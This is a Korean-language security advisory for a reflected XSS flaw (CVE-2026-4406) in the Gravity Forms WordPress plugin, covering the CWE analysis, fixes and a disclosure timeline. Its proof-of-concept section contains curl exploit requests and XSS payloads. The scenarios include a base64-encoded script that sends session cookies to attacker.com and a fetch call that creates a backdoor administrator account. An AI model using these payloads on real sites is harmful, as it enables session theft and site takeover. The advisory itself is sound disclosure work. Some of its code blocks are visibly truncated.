
The Gravity Forms 플러그인(버전 2.9.28까지 테스트됨)은 `gform_get_config` AJAX 액션의 `form_ids` 매개변수를 통해 인증되지 않은 반사형 크로스사이트 스크립팅(XSS) 취약점에 노출되어 있습니다.
| 필드 | 값 |
|---|
| 영향을 받는 소프트웨어 | Gravity Forms (WordPress 플러그인) |
| 공급업체 | Rocketgenius, Inc. |
| 취약점 유형 | CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화 (반사형 크로스사이트 스크립팅) |
| CWE 체인 | CWE-20 → CWE-116 → CWE-838 → CWE-79 (아래 CWE 분석 참조) |
| 영향을 받는 버전 | 2.9.28에서 확인됨(발견 시점 기준 최신 버전); 이전 버전도 영향을 받을 가능성이 높음 |
| 수정 버전 | 2.9.30.1 (핫픽스) |
| CVSS 3.1 점수 | 6.1 (중간) |
| CVSS 3.1 벡터 | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| 인증 필요 여부 | 없음 (인증되지 않음) |
| 사용자 상호작용 | 필요 (피해자가 공격자가 제어하는 페이지를 방문하거나 조작된 링크를 클릭해야 함) |
| 발견자 | Anthony Cihan — Obviam |
| 발견 날짜 | 2026-03-04 |
| 공개 날짜 | 2026-03-18 |
| CVE ID | CVE-2026-4406 |
WordPress용 Gravity Forms 플러그인(버전 2.9.28까지 테스트됨)은 gform_get_config AJAX 액션의 form_ids 매개변수를 통해 인증되지 않은 반사형 크로스사이트 스크립팅(XSS)에 취약합니다. 이 취약점은 사용자가 제공한 form_ids 값이 서버의 HTTP 응답에 어떠한 삭제(sanitization), 인코딩 또는 출력 이스케이프 없이 그대로 반사되기 때문에 발생합니다. 응답은 Content-Type: text/html; charset=UTF-8 헤더로 제공되며, 이로 인해 브라우저는 반사된 콘텐츠를 HTML로 파싱하고 렌더링하며, 주입된 스크립트 요소도 포함됩니다.
인증되지 않은 공격자는 이 취약점을 악용하여 대상 WordPress 사이트의 오리진 컨텍스트에서 임의의 JavaScript를 실행할 수 있습니다. gform_get_config 액션은 유효한 config_nonce를 요구하며, 이 nonce는 Gravity Forms 양식을 로드하는 모든 페이지의 HTML 소스에 공개적으로 포함되어 있으므로, 공격자는 악용 요청을 구성하기 전에 대상 사이트의 공개 페이지를 요청하기만 하면 유효한 nonce를 쉽게 얻을 수 있습니다.
성공적인 악용을 통해 공격자는 세션 쿠키를 탈취하고, 인증된 사용자(WordPress 관리자 포함)를 대신하여 작업을 수행하고, 사용자를 악성 사이트로 리디렉션하고, 페이지 콘텐츠를 훼손하거나, 관리자 계정 생성을 통해 지속적인 접근 권한을 확보할 수 있습니다.
POST /wp-admin/admin-ajax.php
### 취약한 액션```
gform_get_config
args POST 파라미터는 form_ids 배열을 포함하는 JSON 객체를 허용합니다. 이 배열의 값은 삭제(샌itization) 없이 JSON 응답 구조의 객체 키로 사용됩니다:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### 응답 동작
서버는 `form_ids` 값을 처리하여 응답 본문 내 JSON 키로 반영합니다. 응답은 HTML 주석 마커로 감싸져 `text/html`로 제공됩니다:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids 값은 정수로 검증되거나, 정화되거나, 필터링되지 않습니다. 서버는 HTML 태그와 이벤트 핸들러를 포함한 임의의 문자열 콘텐츠를 수락합니다.form_ids 값은 HTML 엔터티 인코딩 없이 응답 본문에 반영됩니다. <, >, ", '와 같은 문자는 수정되지 않은 채 통과합니다.Content-Type: text/html; charset=UTF-8로 제공되며, 이는 브라우저가 응답 본문을 HTML로 파싱하도록 지시합니다. 반영된 값 내의 모든 HTML 태그는 브라우저의 HTML 파서에 의해 인스턴스화되고 렌더링됩니다.gform_get_config 액션이 요구하는 config_nonce는 Gravity Forms 양식을 로드하는 모든 페이지의 JavaScript 구성 객체(gform_theme_config)에 포함되어 있습니다. 이 nonce는 모든 페이지에서 동일하며 특정 사용자 세션에 바인딩되지 않으므로, 인증되지 않은 사용자가 쉽게 획득할 수 있습니다.이 취약점은 체인으로 연결되어 악용 가능한 조건을 만들어내는 여러 기여 약점의 결과입니다. CWE-79가 CVE 보고 목적의 주요 분류이지만, 전체 체인은 각 실패가 어떻게 누적되어 악용을 가능하게 하는지 문서화합니다.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: 부적절한 입력 검증 (기여 요인)
**역할:** 근본적인 활성화 요인 — 악성 데이터가 처리 파이프라인에 유입되도록 허용합니다.
`args` JSON 객체의 `form_ids` 매개변수는 숫자 형식의 식별자를 포함할 것으로 예상되지만, 어떠한 검증 없이 임의의 문자열 입력을 허용합니다. 유형 검사(`intval()`), 정규식 필터링(`^[0-9]+$`), 알려진 양식 ID에 대한 화이트리스트 비교, 길이 제한이 전혀 적용되지 않습니다.
**증거:** 서버는 HTML 태그, JavaScript 이벤트 핸들러 및 임의의 유니코드를 포함하는 `form_ids` 값을 거부하지 않고 수락하고 처리합니다.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
역할: 핵심 취약점 — XSS 조건의 직접적인 원인.
서버가 form_ids 값을 포함하는 JSON 응답을 구성할 때 출력에 HTML 엔터티 인코딩을 적용하지 않습니다. HTML에서 특수한 의미를 갖는 문자(<, >, ", ', &)는 수정되지 않은 채 응답 본문으로 전달됩니다. PHP 함수 htmlspecialchars(), esc_html(), JSON_HEX_TAG 옵션을 사용한 wp_json_encode(), 또는 이에 상응하는 출력 인코딩 함수는 form_ids 값이 응답에 기록되기 전에 적용되지 않습니다.
증거: 리터럴 문자열 <svg onload=alert(document.domain)>이 입력과 바이트 단위로 동일하게 응답 본문에 나타나며, <svg onload=alert(document.domain)>로 변환되지 않습니다.
역할: 컨텍스트 확대 — 데이터 반영 문제를 실행 가능한 코드 주입으로 변환합니다.
응답 본문에는 JSON 구조의 데이터가 포함되어 있지만 Content-Type: text/html; charset=UTF-8로 제공됩니다. 이 Content-Type 선언은 브라우저의 HTML 파서가 응답 본문 전체를 HTML 문서로 처리하도록 지시합니다. 응답이 application/json으로 제공되었다면 브라우저는 응답을 일반 텍스트로 렌더링하고 HTML 파싱이 발생하지 않았을 것입니다 — 주입된 태그는 DOM 요소로 인스턴스화되지 않고 리터럴 텍스트로 표시되었을 것입니다.
증거:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
`X-Content-Type-Options: nosniff` 헤더는 존재하지만 서버가 명시적으로 `text/html`을 선언하고 있으므로 관련이 없습니다. 방지할 MIME 타입 스니핑이 없기 때문입니다.
### CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화 — 반사형 XSS (결과적)
**역할:** 악용 가능한 결과 — 실현된 취약점.
세 가지 기여 약점의 조합은 반사형 교차 사이트 스크립팅 조건을 생성합니다. 사용자 제공 입력은 HTTP 요청에서 서버 측 처리를 거쳐 HTTP 응답으로 흐르며, 삭제, 인코딩 또는 컨텍스트에 적합한 Content-Type 선언 없이 전달되어 피해자 브라우저에서 임의의 JavaScript 실행을 초래합니다.
**하위 유형:** 반사형(유형 1) — 페이로드가 HTTP 요청에 포함되고 저장 없이 HTTP 응답에 즉시 반영됩니다.
### 요약 표
| CWE ID | 이름 | 역할 | 단독 악용 가능? |
|---|---|---|---|
| CWE-20 | 부적절한 입력 검증 | 기여(근본 활성화 요인) | 아니요 — 잘못된 데이터가 유입되지만 렌더링되지 않음 |
| CWE-116 | 출력의 부적절한 인코딩 또는 이스케이프 | 주요 기술적 실패 | 부분적으로 — HTML 렌더링 컨텍스트 필요 |
| CWE-838 | 출력 컨텍스트에 대한 부적절한 인코딩 | 복합(컨텍스트 확대) | 아니요 — 이스케이프되지 않은 데이터가 존재해야 함 |
| CWE-79 | 교차 사이트 스크립팅(반사형) | **결과적(악용 가능)** | **예 — 이것이 실현된 취약점입니다** |
### 최소 수정 분석
아래 목록의 **단일** 수정 조치만으로도 체인이 끊기고 악용을 방지할 수 있습니다:
| 수정 | 체인 중단 지점 | 단독으로 충분? |
|---|---|---|
| `form_ids`를 정수로 타입 캐스팅 | CWE-20(입력) | ✅ 예 |
| 출력을 HTML 엔티티로 인코딩 | CWE-116(출력) | ✅ 예 |
| 응답을 `application/json`으로 제공 | CWE-838(컨텍스트) | ✅ 예 |
**권장 사항:** 심층 방어 차원에서 세 가지를 모두 구현하십시오. 가장 중요한 수정은 출력 인코딩(CWE-116)입니다. 입력 검증이나 Content-Type 변경과 관계없이 현재 및 향후 주입 벡터로부터 보호하기 때문입니다.
---
## Wordfence 제출 참조
| 필드 | 값 |
|---|---|
| **소프트웨어 유형** | WordPress 플러그인 |
| **소프트웨어 슬러그** | `gravityforms` |
| **Wordfence Intel URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **영향받는 버전** | <= 2.9.28(최신 확인됨) |
| **취약점 제목** | Gravity Forms <= 2.9.28 — `form_ids` 매개변수를 통한 인증되지 않은 반사형 교차 사이트 스크립팅 |
| **CWE(기본)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **필요 권한** | 인증되지 않음 |
| **패치 상태** | 2.9.30.1에서 패치됨 |
---
## 영향받는 구성
### 필수 서버 측 조건
- Gravity Forms 플러그인이 활성화된 WordPress 설치(양식 게시 여부와 무관)
- `gform_get_config` AJAX 작업 등록(플러그인 활성화 시 기본 동작)
### Nonce 접근성
`config_nonce`는 Gravity Forms 양식이 포함된 모든 페이지의 전역 `gform_theme_config` JavaScript 변수에 포함됩니다:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
이 nonce는 다음과 같이 확인되었습니다:
| 헤더 | 값 | 악용 가능성에 미치는 영향 |
|---|---|---|
X-Content-Type-Options | nosniff | 완화 효과 없음 — 서버가 text/html을 명시적으로 선언함 |
X-Frame-Options | SAMEORIGIN | 교차 출처 기반 iframe 악용을 방지하지만, 팝업/리다이렉트 전달은 여전히 작동함 |
Content-Security-Policy | frame-ancestors 'self'; | script-src 지시문이 없음 — 인라인 스크립트 실행이 제한되지 않음 |
Referrer-Policy | strict-origin-when-cross-origin | 악용 가능성에 영향 없음 |
| 구성 요소 | 버전 |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| 웹 서버 | Apache (HTTP/2) |
| 테스트 플랫폼 | Kali Linux, curl 8.x |
Gravity Forms 양식을 로드하는 대상 사이트의 아무 페이지에 요청을 보내고 config_nonce 값을 추출합니다:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Example output:**```
9308d72c0a
악성 XSS 페이로드가 포함된 form_ids 값을 담아 WordPress AJAX 핸들러에 POST 요청을 전송합니다:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### 3단계: 리플렉션 관찰
**HTTP 응답 헤더:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
HTTP 응답 본문:```html
`<svg onload=alert(document.domain)>` 페이로드는 응답 본문에 **어떠한 인코딩도 없이 그대로** 반영됩니다. 응답이 `text/html`로 제공되므로 브라우저는 SVG 요소를 인스턴스화하고 `onload` 이벤트 핸들러를 실행하여 대상 사이트의 오리진 컨텍스트에서 JavaScript 실행을 트리거합니다.
### 추가 관찰 사항
**여러 페이로드를 동시에 주입할 수 있습니다.** `form_ids` 배열을 통해:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Response:```html
**`config_path` 양식 번호는 임의적입니다** — 어떤 정수든 작동하며(테스트됨: `1`, `3`, `999`), 잘못된 구성 경로는 `form_ids` 값을 반영하지 않는 오류 메시지를 반환합니다.
---
## 악용 시나리오
### 시나리오 1: 쿠키 유출을 통한 세션 하이재킹
공격자는 대상에서 유효한 nonce를 자동으로 수집한 다음, 팝업 창에 악용 양식을 제출하는 페이지를 호스팅합니다. 페이로드는 세션 쿠키를 공격자가 제어하는 서버로 유출합니다:
**페이로드:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
디코딩된 JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
이 기법은 반사된 속성 컨텍스트에서 따옴표와 공백 문자를 피하기 위해 `this.id` 자기 참조 패턴을 사용하며, SVG 요소의 `id` 속성 내에 전체 익스플로잇 로직을 Base64로 인코딩합니다.
인증된 WordPress 관리자가 공격자의 페이지를 방문하면, 해당 세션 쿠키(`wordpress_logged_in_*`, `wordpress_sec_*`)가 공격자에게 전송되며, 공격자는 이를 통해 관리자를 사칭할 수 있습니다.
### 시나리오 2: 관리자 계정 생성
동일한 전달 메커니즘을 사용하여, 페이로드는 WordPress REST API 또는 관리자 페이지에 인증된 API 요청을 보내 새 관리자 계정을 생성할 수 있습니다:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
반사형 XSS는 전체 페이지 DOM을 설득력 있는 피싱 오버레이(예: 가짜 로그인 페이지 또는 세션 만료 프롬프트)로 대체하여 자격 증명을 직접 탈취할 수 있습니다.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
## MITRE ATT&CK 매핑
| 전술 | 기법 | ID | 설명 |
|---|---|---|---|
| 초기 접근 | 드라이브바이 손상 | T1189 | 피해자가 XSS 전달 메커니즘을 호스팅하는 공격자 제어 페이지를 방문함 |
| 실행 | 사용자 실행: 악성 링크 | T1204.001 | 피해자가 공격자 페이지 링크를 클릭하거나 리디렉션됨 |
| 자격 증명 접근 | 웹 세션 쿠키 탈취 | T1539 | XSS 페이로드가 피해자 브라우저에서 세션 쿠키를 유출함 |
| 지속성 | 계정 생성 | T1136.001 | 공격자가 탈취한 관리자 세션을 사용하여 백도어 관리자 계정을 생성함 |
| 방어 회피 | 권한 상승 제어 메커니즘 남용 | T1548 | XSS가 권한 있는 사용자 세션의 컨텍스트에서 실행됨 |
---
## 영향 평가
### 기밀성
- **세션 쿠키**(`wordpress_logged_in_*` 및 `wordpress_sec_*` 포함)가 유출될 수 있음
- DOM에 노출된 **CSRF nonce**가 이후 API 요청에 사용될 수 있도록 캡처될 수 있음
- 관리자 페이지에 렌더링된 **사용자 개인정보(PII)**가 주입된 스크립트에 접근 가능함
### 무결성
- 피해자를 대신하여 **관리 작업**을 수행할 수 있음(게시물 작성, 플러그인 설치, 사용자 관리, 테마 편집)
- **사이트 콘텐츠**를 수정하거나 훼손할 수 있음
- 지속적인 접근을 위해 **백도어 계정**을 생성할 수 있음
### 가용성
- 관리자 계정 탈취를 통한 **사이트 장악**은 완전한 가용성 상실로 이어질 수 있음
- 테마/플러그인 편집기를 통한 **악성코드 주입**은 사이트를 사용 불가능하게 만들거나 방문자에게 유해하게 만들 수 있음
---
## 수정 권장 사항
### Gravity Forms(공급업체)용
1. **입력 검증** — 처리 전에 모든 `form_ids` 값에 대해 엄격한 정수 타입 캐스팅을 적용합니다. `^[0-9]+$` 패턴과 일치하지 않는 값은 모두 거부합니다: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode()에 JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT 플래그를 적용하여 HTML에서 의미 있는 문자를 이스케이프 처리합니다: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type을 text/html 대신 application/json으로 설정합니다. 이렇게 하면 비위생화된 콘텐츠가 반영되더라도 브라우저가 응답을 HTML로 파싱하는 것을 방지할 수 있습니다. ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce를 사용자 세션에 연결하거나 nonce 생성에 속도 제한을 구현하여 자동화된 악용 비용을 높이는 것을 고려하세요.action=gform_get_config가 포함된 admin-ajax.php POST 요청의 args 매개변수에서 HTML 태그를 탐지하고 차단하는 WAF 규칙을 배포하세요.script-src CSP 지시문(예: script-src 'self')을 구현하세요.| 날짜 | 이벤트 |
|---|---|
| 2026-03-04 | 승인된 침투 테스트 중 취약점 발견 |
| 2026-03-04 | Wordfence(WordPress CNA)에 신고 |
| 2026-03-XX | Wordfence의 초기 거부(자기 XSS로 오분류) |
| 2026-03-XX | 무기화된 POC 및 nonce 분석과 함께 재제출, 결정 번복 |
| 2026-03-18 | Wordfence에서 CVE-2026-4406 지정 |
| 2026-03-18 | [email protected]을 통해 공급업체에 통지 |
| 2026-03-21 | 공급업체가 인지하고 검토용 핫픽스(2.9.30.1) 제공 |
| 2026-04-02 | 패치 검증 완료 — form_ids에 대한 absint() 입력 검증 및 Content-Type: application/json이 취약점을 해소하는 것으로 확인됨 |
| 2026-04-02 | 취약점 해결 완료 |
이 취약점은 명시적인 서면 승인을 받은 서명된 작업 범위(Statement of Work)에 따라 수행된 승인된 침투 테스트 계약 중에 발견되었습니다. 모든 테스트는 합의된 범위 내에서 수행되었으며, 발견 즉시 클라이언트에게 결과가 보고되었습니다. 본 공개는 책임 있는 공개 관행을 따릅니다. 승인되지 않은 시스템에는 접근하지 않았으며, 통제된 개념 증명 검증 외부로 데이터가 유출되지 않았습니다.
발견자: Anthony Cihan